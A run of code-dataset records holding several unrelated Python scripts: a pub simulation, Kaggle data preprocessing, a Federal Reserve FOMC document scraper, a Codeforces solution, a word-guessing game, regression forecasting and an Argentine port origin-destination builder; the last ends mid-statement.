jednocześnie\")\r\n if self._listOfClient == []:\r\n N = input(\"Podaj liczbę klientów: \")\r\n while not N.isdigit():\r\n N = input(\"Wartość musi być typu int: \")\r\n self._listOfClient = [Client(i) for i in range(int(N))]\r\n\r\n while self._listOfClient:\r\n self._time += self._dt\r\n deleteList = []\r\n\r\n print(\"\\nCzas: \" + str(self._time))\r\n # Sprawdzanie czy kończy się już nalewać\r\n for mug in self._listOfMugs:\r\n mug.pouring(self._time)\r\n # Klienci piją\r\n for client in self._listOfClient:\r\n client.drinking(self._time, self._listOfMugs)\r\n print(str(client.getID()) + \" : \" + client.state)\r\n if client.getHowManyBeer() == 0:\r\n deleteList.append(client)\r\n # Sprawdzanie czy barman może napęłnić piwo zaraz po opróżnieniu\r\n for mug in self._listOfMugs:\r\n mug.pouring(self._time)\r\n for client in deleteList:\r\n self._listOfClient.remove(client)\r\n\r\n\r\np = Pub(10, 1)\r\np.simulation()\r\ninput(\"The pub is closed. Good bay.\")","sub_path":"Skills/Python/zad3.py","file_name":"zad3.py","file_ext":"py","file_size_in_byte":4328,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"375054517","text":"'''\n\nFirst Kaggle competition\n\nTalkingData predict Age/Gender groups from mobile device app usage\n\nRefactoring app categories into a profile of event counts for\neach category for each unique device\n\nThis is a programming approach to avoid dealing with large data files\n\n'''\n\nimport numpy as np\n\nnrows = 187244 # number of unique devices\nncols = 14 # number of app event categories + 1 for group\n\n# Create a 2D numpy array\nnew_data = np.zeros((nrows,ncols), float)\n\n\n# Open the data file for read\n\ninFILE = open(\"data/clean_test.csv\", 'r')\n\n# Loop through all the rows\n\n# For training data\n\n# The device id is column 3\n# The group is column 2\n# the app category is column 1\n\n# For testing data\n\n# The device id is column 2\n# the app category is column 1\n\n\nfor line in inFILE:\n # Split line\n split_line = line.split(',')\n # this ignores first line\n if not (split_line[2] == \"new_device_id\\n\"):\n group = float(split_line[2])\n category = float(split_line[1])\n # increment the category count\n new_data[int(device),int(category)] +=1.0\n # Set the last column as group (train) or device (test)\n new_data[int(device),13] = group\n\n\n# Save the data to csv\n\nnp.savetxt(\"test_data.csv\",new_data, delimiter=',')\ninFILE.close\n\n","sub_path":"Sam/scripts/preprocess_data_2.py","file_name":"preprocess_data_2.py","file_ext":"py","file_size_in_byte":1261,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"236704444","text":"#Author Anand Chitale\nimport requests\nfrom bs4 import BeautifulSoup\nfrom bs4 import Tag\nimport csv\n'''\n@author Anand Chitale\n#This script goes through every page of the FOMC historical website and extracts raw\nmetadata information on every relevant document on the website\noutputing into raw_data.csv\n'''\ndef download_raw_doc_metadata():\n documents = []\n start_date, end_date = 2010,2019\n year_pages = get_year_pages(start_date,end_date)\n for year in year_pages:\n soup = BeautifulSoup(year,'lxml')\n\n #Article Div Tag Contains All Meeting Tables\n meeting_container = soup.find(\"div\", id=\"article\")\n year = meeting_container.find(\"h3\").text\n\n #contains a table of all documents in a meeting\n meeting_tables = meeting_container.findChildren(\"div\",recursive=False)\n\n for meeting_table in meeting_tables:\n meeting_info = meeting_table.find(\"h5\").text\n\n meeting_document_tables = meeting_table.find_all(\"div\")[1]\n\n #each p tag contains a set of one of more links to documents of a type\n document_types = meeting_document_tables.find_all(\"p\")\n for document_type in document_types:\n document_list = get_documents_and_links(document_type)\n grouping = get_grouping(document_type,document_list)\n #Append Meeting Specific Information to each document\n for document in document_list:\n document['grouping'] = grouping\n add_document(documents,document,year,meeting_info)\n\n #Catches any minutes that are not given in a p-tag, just written as text in the div\n meeting_document_lists = meeting_document_tables.find_all(\"div\")\n for meeting_document_list in meeting_document_lists:\n non_p_text = ''.join(meeting_document_list.find_all(text=True, recursive=False))\n non_p_text += get_non_link_inner_text(meeting_document_list)\n if non_p_text and non_p_text.strip():\n non_p_text = ' '.join(non_p_text.split())\n document = {'document_name':non_p_text,\n 'link': None\n }\n grouping = get_grouping(document['document_name'],None)\n document['grouping'] = grouping\n add_document(documents,document,year,meeting_info)\n\n write_to_csv(documents)\n\ndef get_year_pages(start_date,end_date):\n base_time_url = \"https://www.federalreserve.gov/monetarypolicy/fomchistorical\"\n\n # dictionary which holds each years page\n year_pages = []\n\n for year in range(start_date,end_date+1):\n url = base_time_url + str(year) + '.htm'\n resp = requests.get(base_time_url + str(year) + '.htm')\n if resp.status_code == requests.codes.ok:\n year_pages.append(resp.content)\n else:\n print(\"error occured. Could not get information for year:{} with url:{}\".format(year,url))\n continue\n return year_pages\n\n\ndef get_documents_and_links(document_type):\n documents = []\n comment = ''\n document_name = ''\n ptext = document_type.find(text=True, recursive=False)\n if ptext and ptext.strip():\n ptext = ptext.strip()\n #Takes care of edge case where reference was in p_text and minutes in link\n if ptext[0] == \"(\":\n comment = ptext\n else:\n document_name = ptext\n document_name += get_non_link_inner_text(document_type)\n links = document_type.find_all(\"a\")\n if not links:\n current_document = {}\n document_name += comment\n current_document['document_name'] = document_name\n current_document['link'] = None\n documents.append(current_document)\n else:\n for link in links:\n cur_doc_name = document_name + link.text\n cur_doc_name += comment\n current_document = {}\n current_document['document_name'] = cur_doc_name\n current_document['link'] = link.get(\"href\")\n documents.append(current_document)\n return documents\n\ndef add_document(documents,document,year,meeting_info):\n document['year'] = year\n document['meeting_info'] = meeting_info\n documents.append(document)\n\n# Writes information to CSV File\ndef write_to_csv(documents):\n with open('../output/lea_raw_data.csv', 'w') as csvfile:\n fieldnames = ['year', 'meeting_info', 'document_name', 'link', 'grouping']\n writer = csv.DictWriter(csvfile, fieldnames=fieldnames)\n writer.writeheader()\n for document in documents:\n writer.writerow(document)\n#We are only concerned with p tag text and the like, not link text\ndef get_non_link_inner_text(tag):\n inner_text = ''\n for child in tag.find_all(recursive=False):\n if type(child) == Tag and child.name == \"em\":\n inner_text += child.text\n return inner_text\n#Finds the grouping of the file based on properties of the fomc website\ndef get_grouping(document_type,document_list):\n if type(document_type) == str and document_list is None:\n grouping = document_type\n else:\n document_type_text = document_type.find(text=True, recursive=False)\n\n #Takes care of edge case where reference was in p_text and minutes in link\n if document_type_text and document_type_text.strip() \\\n and not document_type_text.strip()[0]==\"(\":\n grouping = document_type_text\n else:\n grouping = document_list[0]['document_name']\n return grouping\n\nif __name__ == \"__main__\":\n download_raw_doc_metadata()\n","sub_path":"lea_code/scripts/lea_download_later_years.py","file_name":"lea_download_later_years.py","file_ext":"py","file_size_in_byte":5676,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"395916028","text":"import math\nimport sys\nimport itertools\nimport itertools\n\ndef sa(Type= int):\n return [Type(x) for x in input().split()]\n\ndef solve(t):\n n, m = sa()\n\n print('YES' if n % m == 0 else 'NO')\n\nif __name__ == '__main__':\n sys.stdin = open('input.txt', 'r')\n\n t = int(input())\n for i in range(t):\n solve(i+1)\n","sub_path":"Code Forces/Code Forces 1312A - Two Regular Polygons.py","file_name":"Code Forces 1312A - Two Regular Polygons.py","file_ext":"py","file_size_in_byte":311,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"619808872","text":"import random\n\ndef game_mode():\n \"\"\"Returns game mode from the user input.\"\"\"\n print (\"Let's play \\\"Mystery Word\\\". You have 8 guesses to solve the word.\")\n mode = input('\\nChoose the game mode (\"Easy, Normal or Hard\"): ').lower()\n return mode\n\n\ndef list_of_words():\n \"\"\"Calls read_file to get a list of words.\n Depending on the game mode, gets appropriate list.\n From the list gets mystery word calling random_word.\n Calls game with the mystery word argument.\"\"\"\n words_list = read_file(\"/usr/share/dict/words\")\n mode = game_mode()\n\n if mode == \"easy\":\n words_list = easy_words(words_list)\n elif mode == \"normal\":\n words_list = medium_words(words_list)\n elif mode == \"hard\":\n words_list = hard_words(words_list)\n\n mystery = random_word(words_list)\n game(mystery)\n\ndef random_word(words_list):\n \"\"\"Chooses random word from the list and returns\"\"\"\n mystery = random.choice(words_list)\n return mystery\n\ndef game(mystery):\n turns = 8\n guesses = \"\"\n print(\"The mystery word has {} characters.\".format(len(mystery)))\n while turns > 0:\n guess = input(\"\\nGuess a letter: \").upper()\n while guess.isdigit() or len(guess) != 1:\n print(\"Invalid input! Only one letter allowed.\")\n guess = input(\"\\nGuess a letter: \").upper()\n while guess in guesses:\n print(\"You already guesses that word. Try again.\")\n guess = input(\"\\nGuess a letter: \").upper()\n\n guesses += guess\n if guess in mystery:\n turns += 1\n\n print(display_word(mystery, guesses))\n turns -= 1\n print(\"\\n{} turns left.\".format(turns))\n\n if is_word_complete(mystery, guesses):\n print(\"\\nYou win!\")\n break\n elif turns == 0:\n print(\"\\n{} is the mystery word\".format(mystery))\n\n play_again = input(\"Play again? (Y or N): \").lower()\n if play_again == \"y\":\n list_of_words()\n\ndef display_word(mystery, guesses):\n \"\"\" Displays a string of guesses and '_' depending on guesses\"\"\"\n user_guess = \"\"\n for char in mystery:\n if char in guesses:\n user_guess += char\n else:\n user_guess += \"_\"\n user_guess = \" \".join(user_guess)\n return user_guess.upper()\n\ndef is_word_complete(mystery, guesses):\n \"\"\"Checks to see if the word is complete\"\"\"\n missed = 0\n for char in mystery:\n if char not in guesses:\n missed += 1\n if missed == 0:\n return True\n\ndef read_file(input_file):\n \"\"\"Reads input_file and returns words in a list\"\"\"\n with open(input_file) as file:\n lines = file.read().upper()\n lines = lines.split()\n return lines\n\ndef easy_words(my_list):\n \"\"\"Returns list of words that are 4 - 6 characters long\"\"\"\n easy_words_list = []\n for word in my_list:\n if len(word) >= 4 and len(word) <= 6:\n easy_words_list.append(word)\n return easy_words_list\n\ndef medium_words(my_list):\n \"\"\"Returns list of words that are 6 - 8 characters long\"\"\"\n medium_words_list = []\n for word in my_list:\n if len(word) >= 6 and len(word) <= 8:\n medium_words_list.append(word)\n return medium_words_list\n\ndef hard_words(my_list):\n \"\"\"Returns list of words that are 8 or more characters\"\"\"\n hard_words_list = []\n for word in my_list:\n if len(word) >= 8:\n hard_words_list.append(word)\n return hard_words_list\n\nif __name__ == \"__main__\":\n list_of_words()\n","sub_path":"mystery_word.py","file_name":"mystery_word.py","file_ext":"py","file_size_in_byte":3520,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"605653088","text":"#!/usr/bin/env python2\n# -*- coding: utf-8 -*-\n\"\"\"\nCreated on Wed May 22 17:45:06 2019\n\n@author: simon\n\"\"\"\n\nimport numpy as np\nimport argparse\nfrom scipy.optimize import curve_fit\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.mplot3d import Axes3D \n\n\ndef read_data(fname,rho_ref,beta_ref):\n \"\"\"\n Reads the data from the input file\n Args:\n fname: name of the file containing the data, run build example to see the structure \n of the input_example.dat\n rho_ref: reference density\n beta_ref\n \n Returns:\n variables\n \"\"\"\n data=np.loadtxt(fname)\n \n \n rho=data[:,0]-rho_ref\n temperature=data[:,1]\n prope=data[:,2]\n sigma_prope=data[:,3]\n beta=1/temperature-beta_ref\n \n \n \n return rho,beta, prope, sigma_prope\n\ninput_file=\"input_example.dat\"\nx,y, z, zerr=read_data(input_file,0,0)\nfig = plt.figure()\nax = fig.add_subplot(111, projection='3d')\nax.scatter(x, y, z, zdir='z',marker='.',label=\"Simulation\",color='r')\nax.plot_wireframe(np.reshape(x,(30,30)),np.reshape(y,(30,30)),np.reshape(z,(30,30)),color='b',label=\"Fitting\")\nfig.legend()\nfig.savefig(\"3Dplot.pdf\")","sub_path":"Lammps/dev/Fitting/plot_example.py","file_name":"plot_example.py","file_ext":"py","file_size_in_byte":1151,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"460969429","text":"# -*- coding: utf-8 -*-\r\n\"\"\"\r\nCreated on Thu Jul 30 15:14:17 2020\r\n\r\n@author: FlaviaCosta\r\n\"\"\"\r\n#%% Install library\r\n#pip install statsmodels\r\n#%% import library\r\nimport pandas as pd\r\nimport statsmodels.api as sm\r\nfrom statsmodels.formula.api import ols\r\n#%% importando base excel\r\nbase_projecao = pd.read_excel('C:/Users/FlaviaCosta/Google Drive/Projeções/Projeções.xlsm'\r\n , index_col = 0, sheet_name = 'BASE MODELAGEM PHYTON')\r\n#%% Data para base treino\r\ndatateste = '2020-04-01'\r\n#%%\r\nbase_projecao['Inicio_Teste'] = pd.to_datetime(datateste)\r\n#%% separando base treino e teste\r\nbase_treino = base_projecao.query('Data < Inicio_Teste')\r\nbase_teste = base_projecao.query('Data >= Inicio_Teste')\r\n\r\n#%% definindo variáveis do modelo\r\nformula_text = (\"\"\"\r\n LOG_GUV ~ \r\n C(month)\r\n + ITUNES\r\n + VIVOBUNDLECOMBO\r\n + TIM\r\n + OIBUNDLELIVROSNARRADOS\r\n + CARTAODECREDITO\r\n + CLARO\r\n + GOOGLEPLAY\r\n + VIVO\r\n + NEXTEL\r\n + OI\r\n + ALGARBUNDLE\r\n + MOVISTARESPANHA\r\n + OIUPSTREAM\r\n + TIGOCOLOMBIA\r\n + OUTROS\r\n + Outlier\r\n\r\n \"\"\")\r\n#%% exemplo incluindo variavel como categorica\r\n#res = ols(formula='Lottery ~ Literacy + Wealth + C(Region)', data=df).fit()\r\n#vai retornar um coeficiente para cada região\r\n#%% Ajustando o modelo \r\nmodel = ols(formula = formula_text, data = base_treino).fit()\r\n#%% parametros\r\nprint(model.summary())\r\n#%% gráficos - tranformar em numpy array para colocar num gráfico\r\nimport numpy as np\r\nYpred = np.array(np.exp(model.fittedvalues))\r\nYreal = np.array(np.exp(base_treino['LOG_GUV']))\r\n#%% Gráfico\r\nimport matplotlib.pyplot as plt\r\nplt.plot(Ypred, color = 'red', label = 'Real')\r\nplt.plot(Yreal, color = 'blue', label = 'Previsto')\r\nplt.legend()\r\nplt.title('Previsão de série temporal')\r\n#%% predição\r\nprediction = np.exp(model.predict(base_teste))\r\n#%%Unificando predição total\r\npredictionTotal = np.append(Ypred, np.array(prediction))\r\n#%% export predictions\r\npd.DataFrame(predictionTotal).to_csv('C:/Users/FlaviaCosta/Google Drive/Projeções/projecao_faturamento.csv')\r\n\r\n#%% export coeficients\r\ncoeficientes = np.array(model.params)\r\npd.DataFrame(coeficientes).to_csv('C:/Users/FlaviaCosta/Google Drive/Projeções/coeficientes.csv')","sub_path":".ipynb_checkpoints/Projeção Phyton-checkpoint.py","file_name":"Projeção Phyton-checkpoint.py","file_ext":"py","file_size_in_byte":2258,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"62"} +{"seq_id":"274751442","text":"\"\"\"Create port network and OD data from Argentina\n\"\"\"\nimport csv\nimport os\nimport types\nimport fiona\nimport pandas as pd\nimport geopandas as gpd\nimport numpy as np\nimport unidecode\nfrom atra.utils import *\n\ndef extract_subset_from_dataframe(input_dataframe,skiprows,start_row,end_row,new_columns):\n output_data = []\n input_dataframe = input_dataframe.iloc[skiprows:]\n for iter_,row in input_dataframe.iterrows():\n output_data.append(tuple(row[start_row:end_row]))\n\n output_df = pd.DataFrame(output_data,columns=new_columns)\n return output_df\n\ndef get_province_matches(x,provinces_df):\n match = provinces_df[provinces_df['station'] == x]\n if len(match.index) > 0:\n match = match['province'].values.tolist()\n return match[0]\n else:\n return ''\n\ndef replace_string_characters(x,replace_strings):\n x_change = x.lower().strip()\n for rp in replace_strings:\n x_change = x_change.replace(rp[0],rp[1])\n\n return x_change\n\ndef assign_industry_names(x,industries_df):\n return industries_df.loc[(x.commodity_group,x.commodity_subgroup),'high_level_industry']\n\ndef set_reference_date(x,reference_date):\n if x == 0:\n x = pd.Timestamp(reference_date)\n\n return x\n\ndef port_name_to_node_matches(port_reference,named_port,commodity_group,country,port_nodes,port_renames,port_countries):\n if unidecode.unidecode(str(named_port).lower().strip()) in ('rada','rada exterior','transito'):\n named_port = 'Unknown'\n\n port_match = [x for x in list(port_nodes.itertuples(index=False)) \\\n if (unidecode.unidecode(port_reference.lower().strip()) == unidecode.unidecode(x.name.lower().strip()))\n or (unidecode.unidecode(port_reference.lower().strip()) in unidecode.unidecode(x.name.lower().strip()))\n ]\n\n p_rename = [x.port for x in list(port_renames.itertuples(index=False)) \\\n if (unidecode.unidecode(str(named_port).lower().strip()) == unidecode.unidecode(x.od_port.lower().strip()))\n and (unidecode.unidecode(commodity_group.lower().strip()) == unidecode.unidecode(x.commodity_group.lower().strip()))\n ]\n if not p_rename:\n p_rename = [x.port for x in list(port_renames.itertuples(index=False)) \\\n if (unidecode.unidecode(str(named_port).lower().strip()) == unidecode.unidecode(x.od_port.lower().strip()))\n and (unidecode.unidecode(x.commodity_group.lower().strip()) in ('all','other'))\n ]\n if not p_rename:\n p_rename = [x.node for x in list(port_countries.itertuples(index=False)) \\\n if (unidecode.unidecode(str(named_port).lower().strip()) == unidecode.unidecode(x.port_name.lower().strip()))\n ]\n if not p_rename:\n p_rename = [x.node for x in list(port_countries.itertuples(index=False)) \\\n if (unidecode.unidecode(str(country).lower().strip()) == unidecode.unidecode(str(x.country).lower().strip()))\n and (unidecode.unidecode(x.port_name.lower().strip()) in ('all','other'))\n ]\n if p_rename:\n named_port = p_rename[0]\n else:\n named_port = p_rename[0]\n\n else:\n named_port = p_rename[0]\n else:\n named_port = p_rename[0]\n\n\n st_match = [x for x in port_match \\\n if (unidecode.unidecode(str(named_port).lower().strip()) == unidecode.unidecode(port_reference.lower().strip()))\n or (unidecode.unidecode(str(named_port).lower().strip()) in unidecode.unidecode(port_reference.lower().strip()))\n or (unidecode.unidecode(port_reference.lower().strip()) in unidecode.unidecode(str(named_port).lower().strip()))\n or (named_port == x.id)\n ]\n\n if not st_match:\n st_match = [x for x in list(port_nodes.itertuples(index=False)) \\\n if (unidecode.unidecode(str(named_port).lower().strip()) == unidecode.unidecode(x.name.lower().strip()))\n or (unidecode.unidecode(str(named_port).lower().strip()) in unidecode.unidecode(x.name.lower().strip()))\n or (unidecode.unidecode(x.name.lower().strip()) in unidecode.unidecode(str(named_port).lower().strip()))\n or (named_port == x.id)\n ]\n if not st_match:\n st_match = port_match\n\n return st_match\n\n\ndef main(config):\n \"\"\"\n \"\"\"\n incoming_data_path = config['paths']['incoming_data']\n data_path = config['paths']['data']\n\n '''Specify the min-max speeds in km/hr\n '''\n min_speed = 4.0\n max_speed = 5.0\n\n '''Specify the columns in the input excel data \n With their Spanish names and translated English names\n '''\n translate_columns = {\n 'Puerto':'port',\n 'mes':'month',\n 'Fecha Entrada':'entrance_date',\n 'Hora Entrada':'entrance_time',\n 'Fecha Salida':'exit_date',\n 'Hora Salida':'exit_time',\n 'País de Procedencia':'origin_country',\n 'Puerto de Procedencia':'origin_port',\n 'País de Destino':'destination_country',\n 'Puerto de Destino':'destination_port',\n 'Tipo de Operación':'operation_type',\n 'Producto Corregido':'commodity_subgroup',\n 'Rubro':'commodity_group',\n 'Total Tn':'tons',\n 'Medida':'unit'\n }\n '''Assumed start date by default, when no date is given\n '''\n ref_date = '2017-01-01 00:00:00'\n '''Specify the types of port operations, which will be used to infer OD flow direction\n If it is an export operation at a port, then the port is an origin\n If it is an import operation at a port, then the port is a destination\n Transit operations are later included within exports\n The names of the operations are dervied from the input data provided to us\n '''\n export_operations = ['Exportación','Vehículos Expo','Transbordo Expo','Cabotaje Salido']\n import_operations = ['Importación','Transbordo Impo','Vehículos Impo','Cabotaje Entrado']\n transit_operattions = ['Tránsito','Otros']\n\n '''Specify the input files for the port nodes, matches to rename ports and the OD data\n '''\n print ('* Reading input data')\n port_nodes = gpd.read_file(os.path.join(incoming_data_path,\n 'pre_processed_network_data',\n 'ports',\n 'port_network',\n 'water_nodes.shp'),encoding='utf-8').fillna('none')\n port_nodes.crs = {'init' :'epsg:4326'}\n port_names = port_nodes[['name','id','province']]\n\n\n port_renames = pd.read_excel(os.path.join(incoming_data_path,\n 'pre_processed_network_data',\n 'ports',\n 'port_od_cleaning',\n 'od_port_matches.xlsx'),\n sheet_name='matches',\n encoding='utf-8-sig')\n port_countries = pd.read_excel(os.path.join(incoming_data_path,\n 'pre_processed_network_data',\n 'ports',\n 'port_od_cleaning',\n 'od_port_matches.xlsx'),\n sheet_name='country_ports',\n encoding='utf-8-sig')\n\n port_df = pd.read_excel(os.path.join(incoming_data_path,\n 'OD_data',\n 'port',\n 'Cargas No Containerizadas - SSPVNYMM.xlsx'),\n sheet_name='2017',\n encoding='utf-8-sig').fillna(0)\n\n '''Get the high level industries and commodity matches\n '''\n industries_df = pd.read_excel(os.path.join(data_path,\n 'economic_IO_tables',\n 'input',\n 'commodity_classifications-hp.xlsx'),\n sheet_name='port',index_col=[0,1])\n industry_cols = list(set(industries_df['high_level_industry'].values.tolist()))\n\n '''Start the process of creating OD flows\n '''\n print ('* Cleaning data and creating OD matrix')\n port_df.columns = port_df.columns.str.strip()\n port_df.rename(columns=translate_columns,inplace=True)\n port_df = port_df[port_df['tons'] > 0]\n od_ports = []\n od_matrix = []\n for p in list(port_df.itertuples(index=False)):\n port_id = [x.id for x in list(port_names.itertuples(index=False)) \\\n if (unidecode.unidecode(p.port.lower().strip()) == unidecode.unidecode(x.name.lower().strip()))\n or (unidecode.unidecode(p.port.lower().strip()) in unidecode.unidecode(x.name.lower().strip()))\n ][0]\n port_province = [x.province for x in list(port_names.itertuples(index=False)) \\\n if (unidecode.unidecode(p.port.lower().strip()) == unidecode.unidecode(x.name.lower().strip()))\n or (unidecode.unidecode(p.port.lower().strip()) in unidecode.unidecode(x.name.lower().strip()))\n ][0]\n if port_province.lower().strip() == 'ciudad bs as':\n port_province = 'Ciudad Autónoma de Buenos Aires'\n\n match = port_name_to_node_matches(p.port,p.origin_port,p.commodity_group,p.origin_country,port_names[['name','id']],port_renames,port_countries)\n o_id = [m.id for m in match][0]\n o_province = [x.province for x in list(port_names.itertuples(index=False)) \\\n if x.id == o_id\n ][0]\n if o_province == 'none':\n o_province = 'Rest of World'\n elif o_province.lower().strip() == 'ciudad bs as':\n o_province = 'Ciudad Autónoma de Buenos Aires'\n\n match = port_name_to_node_matches(p.port,p.destination_port,p.commodity_group,p.destination_country,port_names[['name','id']],port_renames,port_countries)\n d_id = [m.id for m in match][0]\n d_province = [x.province for x in list(port_names.itertuples(index=False)) \\\n if x.id == d_id\n ][0]\n if d_province == 'none':\n d_province = 'Rest of World'\n elif d_province.lower().strip() == 'ciudad bs as':\n d_province = 'Ciudad Autónoma de Buenos Aires'\n\n od_ports.append((o_id,p.origin_port,p.origin_country,port_id,p.port,port_province,d_id, \\\n p.destination_port,p.destination_country,p.operation_type,p.commodity_group,p.commodity_subgroup,p.entrance_date,p.entrance_time,p.exit_date,p.exit_time,p.tons,p.unit))\n\n if p.operation_type in export_operations:\n operation = 'Export'\n elif p.operation_type in import_operations:\n operation = 'Import'\n else:\n operation = 'Transit'\n\n if p.unit.lower().strip() == 'unidades':\n tons = 15*p.tons\n else:\n tons = p.tons\n\n if len(set([o_id,port_id,d_id])) == 1:\n if operation in ['Export','Transit']:\n od_matrix.append((port_id,port_province,'watern_90','Rest of World',operation, \\\n p.commodity_group,p.commodity_subgroup,p.entrance_date,p.exit_date,tons))\n else:\n od_matrix.append(('watern_90','Rest of World',port_id,port_province,operation, \\\n p.commodity_group,p.commodity_subgroup,p.entrance_date,p.exit_date,tons))\n\n elif len(set([o_id,port_id,d_id])) == 2:\n if o_id != port_id:\n d_id = o_id\n d_province = o_province\n if operation in ['Export','Transit']:\n origin_id = port_id\n origin_province = port_province\n destination_id = d_id\n destination_province = d_province\n else:\n origin_id = d_id\n origin_province = d_province\n destination_id = port_id\n destination_province = port_province\n\n od_matrix.append((origin_id,origin_province,destination_id,destination_province,operation, \\\n p.commodity_group,p.commodity_subgroup,p.entrance_date,p.exit_date,tons))\n else:\n od_matrix.append((o_id,o_province,port_id,port_province,operation, \\\n p.commodity_group,p.commodity_subgroup,p.entrance_date,p.exit_date,tons))\n od_matrix.append((port_id,port_province,d_id,d_province,operation, \\\n p.commodity_group,p.commodity_subgroup,p.entrance_date,p.exit_date,tons))\n\n \n od_dfs = pd.DataFrame(od_ports,columns=['origin_id','origin_port','origin_country',\n 'intermediate_id','intermediate_port','intermediate_province',\n 'destination_id','destination_port','destination_country',\n 'operation_type','commodity_group','commodity_subgroup',\n 'entrance_date','entrance_time','exit_date','exit_time','tons','unit'])\n od_dfs['industry_name'] = od_dfs.apply(lambda x:assign_industry_names(x,industries_df),axis=1)\n od_dfs.to_csv(os.path.join(incoming_data_path,\n 'pre_processed_network_data',\n 'ports',\n 'port_od_cleaning',\n 'od_flows_raw.csv'),encoding='utf-8-sig',index=False)\n\n '''Match industries\n '''\n od_dfs = pd.DataFrame(od_matrix,columns=['origin_id','origin_province',\n 'destination_id','destination_province',\n 'operation_type','commodity_group','commodity_subgroup',\n 'entrance_date','exit_date','tons'])\n od_dfs['entrance_date'] = od_dfs['entrance_date'].apply(lambda x:set_reference_date(x,ref_date))\n od_dfs['o_date'] = od_dfs['entrance_date'].dt.date\n od_dfs['industry_name'] = od_dfs.apply(lambda x:assign_industry_names(x,industries_df),axis=1)\n\n od_vals_group_industry = {}\n\n gr_cols = ['origin_id','destination_id',\n 'origin_province','destination_province',\n 'commodity_group','commodity_subgroup','industry_name','o_date']\n od_com_day_totals = od_dfs[gr_cols+['tons']].groupby(gr_cols)['tons'].sum().reset_index()\n od_dfs[['o_date','tons']].groupby('o_date')['tons'].sum().reset_index().to_csv(os.path.join(incoming_data_path,'port_ods','od_daily_total.csv'),encoding='utf-8-sig',index=False)\n\n gr_cols = ['origin_id','destination_id',\n 'origin_province','destination_province',\n 'commodity_group','commodity_subgroup','industry_name']\n od_com_max = od_com_day_totals[gr_cols + ['tons']].groupby(gr_cols).max().rename(columns={'tons': 'max_daily_tons'}).reset_index()\n od_com_min = od_com_day_totals[gr_cols + ['tons']].groupby(gr_cols).min().rename(columns={'tons': 'min_daily_tons'}).reset_index()\n od_minmax = pd.merge(od_com_min,od_com_max,how='left',on=gr_cols).fillna(0)\n\n for iter_,row in od_minmax.iterrows():\n if '{}-{}'.format(row.origin_id,row.destination_id) not in od_vals_group_industry.keys():\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)] = {}\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['origin_province'] = row.origin_province\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['destination_province'] = row.destination_province\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['min_total_tons'] = row.min_daily_tons\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['max_total_tons'] = row.max_daily_tons\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['min_{}'.format(row.industry_name)] = row.min_daily_tons\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['max_{}'.format(row.industry_name)] = row.max_daily_tons\n else:\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['min_total_tons'] += row.min_daily_tons\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['max_total_tons'] += row.max_daily_tons\n\n if 'min_{}'.format(row.industry_name) not in od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)].keys():\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['min_{}'.format(row.industry_name)] = row.min_daily_tons\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['max_{}'.format(row.industry_name)] = row.max_daily_tons\n else:\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['min_{}'.format(row.industry_name)] += row.min_daily_tons\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['max_{}'.format(row.industry_name)] += row.max_daily_tons\n\n\n od_list = []\n for key,values in od_vals_group_industry.items():\n od_list.append({**{'origin_id':key.split('-')[0],'destination_id':key.split('-')[1]},**values})\n od_df = pd.DataFrame(od_list).fillna(0)\n od_df.to_csv(os.path.join(data_path,'OD_data','port_nodes_daily_ods.csv'),index=False,encoding='utf-8-sig')\n\n del od_list\n\n od_vals_group_industry = {}\n for iter_,row in od_dfs.iterrows():\n if '{}-{}'.format(row.origin_id,row.destination_id) not in od_vals_group_industry.keys():\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)] = {}\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['origin_province'] = row.origin_province\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['destination_province'] = row.destination_province\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['total_tons'] = row.tons\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)][row.industry_name] = row.tons\n else:\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)]['total_tons'] += row.tons\n\n if row.industry_name not in od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)].keys():\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)][row.industry_name] = row.tons\n else:\n od_vals_group_industry['{}-{}'.format(row.origin_id,row.destination_id)][row.industry_name] += row.tons\n\n od_list = []\n for key,values in od_vals_group_industry.items():\n od_list.append({**{'origin_id':key.split('-')[0],'destination_id':key.split('-')[1]},**values})\n od_df = pd.DataFrame(od_list).fillna(0)\n del od_list\n\n province_ods = od_df[['origin_province','destination_province']+industry_cols + ['total_tons']]\n province_ods = province_ods.groupby(['origin_province','destination_province'])[industry_cols + ['total_tons']].sum().reset_index()\n province_ods.to_csv(os.path.join(data_path,'OD_data','port_province_annual_ods.csv'),index=False,encoding='utf-8-sig')\n\n '''Add properties to port edges\n '''\n print ('* Creating port network with parameters')\n port_edges_path = os.path.join(incoming_data_path,\n 'pre_processed_network_data',\n 